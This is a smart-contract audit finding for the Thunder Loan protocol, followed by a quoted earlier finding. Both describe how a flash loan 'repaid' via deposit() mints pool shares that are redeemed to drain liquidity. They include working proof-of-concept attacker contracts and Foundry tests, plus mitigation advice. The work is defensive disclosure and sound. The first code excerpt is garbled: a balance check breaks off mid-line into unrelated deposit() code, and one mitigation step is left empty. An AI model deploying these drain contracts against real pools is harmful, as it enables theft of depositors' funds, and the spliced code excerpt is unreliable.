Thunder Loan

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Submission Details
Severity: high
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[H-01] Flash Loan Repayment via deposit() Allows Full Liquidity Theft

Description

In ThunderLoan.sol:212-215, the flashloan() function does not ensure that the borrowed
amount plus fee is returned via repay(). Instead, it only checks that the balance of the
AssetToken at the end of the transaction is greater than or equal to startingBalance +
fee:

// File: src/protocol/ThunderLoan.sol                                                   
        receiverAddress.functionCall(                                                   
            abi.encodeWithSignature(                                                    
                "executeOperation(address,uint256,uint256,address,bytes)",              
                address(token),                                                         
                amount,                                                                 
                fee,                                                                    
                msg.sender,                                                             
                params                                                                  
            )                                                                           
        );                                                                              
                                                                                        
@>      uint256 endingBalance = token.balanceOf(address(assetToken));                   
@>      if (endingBalance       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /          

exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

The deposit satisfies endingBalance >= startingBalance + fee, causing the flash loan
execution to succeed while minting AssetToken pool shares to the borrower for free. The
borrower can immediately call redeem() to withdraw the underlying assets, stealing the
pool's liquidity.

Risk

Likelihood: High

Impact: Critical

Proof of Concept

Add the following test to your Foundry test suite (test/unit/WRREVerificationTest.t.sol):

contract DepositFlashLoanReceiver {                                                     
    ThunderLoan thunderLoan;                                                            
                                                                                        
    constructor(address _thunderLoan) {                                                 
        thunderLoan = ThunderLoan(_thunderLoan);                                        
    }                                                                                   
                                                                                        
    function executeOperation(                                                          
        address token,                                                                  
        uint256 amount,                                                                 
        uint256 fee,                                                                    
        address,                                                                        
        bytes calldata                                                                  
    ) external returns (bool) {                                                         
        // Instead of repaying, deposit the borrowed amount + fee                       
        IERC20(token).approve(address(thunderLoan), amount + fee);                      
        thunderLoan.deposit(IERC20(token), amount + fee);                               
        return true;                                                                    
    }                                                                                   
}                                                                                       
                                                                                        
function test_WRRE_DepositBypassesRepayAndDrainsFunds() public {                        
    DepositFlashLoanReceiver depositReceiver = new                                      

DepositFlashLoanReceiver(address(thunderLoan));
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);

    uint256 borrowAmount = 500e18;                                                      
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);                   
                                                                                        
    // Attacker only supplies the flash loan fee                                        
    tokenA.mint(address(depositReceiver), fee);                                         
                                                                                        
    // Execute flash loan                                                               
    thunderLoan.flashloan(address(depositReceiver), tokenA, borrowAmount, "");          
                                                                                        
    // Receiver now holds AssetToken pool shares obtained using borrowed capital        
    uint256 receiverAssetBalance = assetToken.balanceOf(address(depositReceiver));      
    assertGt(receiverAssetBalance, 0);                                                  
                                                                                        
    // Attacker redeems shares to drain pool liquidity                                  
    vm.prank(address(depositReceiver));                                                 
    thunderLoan.redeem(tokenA, receiverAssetBalance);                                   
                                                                                        
    assertGt(tokenA.balanceOf(address(depositReceiver)), borrowAmount);                 
}                                                                                       

Recommended Mitigation

  1. Add a reentrancy guard across all core state-mutating functions (flashloan, deposit,
    redeem).

  2. Prevent deposit() and redeem() during an active flash loan:

  3. Explicitly verify repayments through an internal ledger tracked by repay() rather than
    raw token balance checks.

--- a/src/protocol/ThunderLoan.sol                                                      
+++ b/src/protocol/ThunderLoan.sol                                                      
@@ -147,6 +147,7 @@ contract ThunderLoan is Initializable, OwnableUpgradeable,          

UUPSUpgradeable, Ora
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__BadNewFee();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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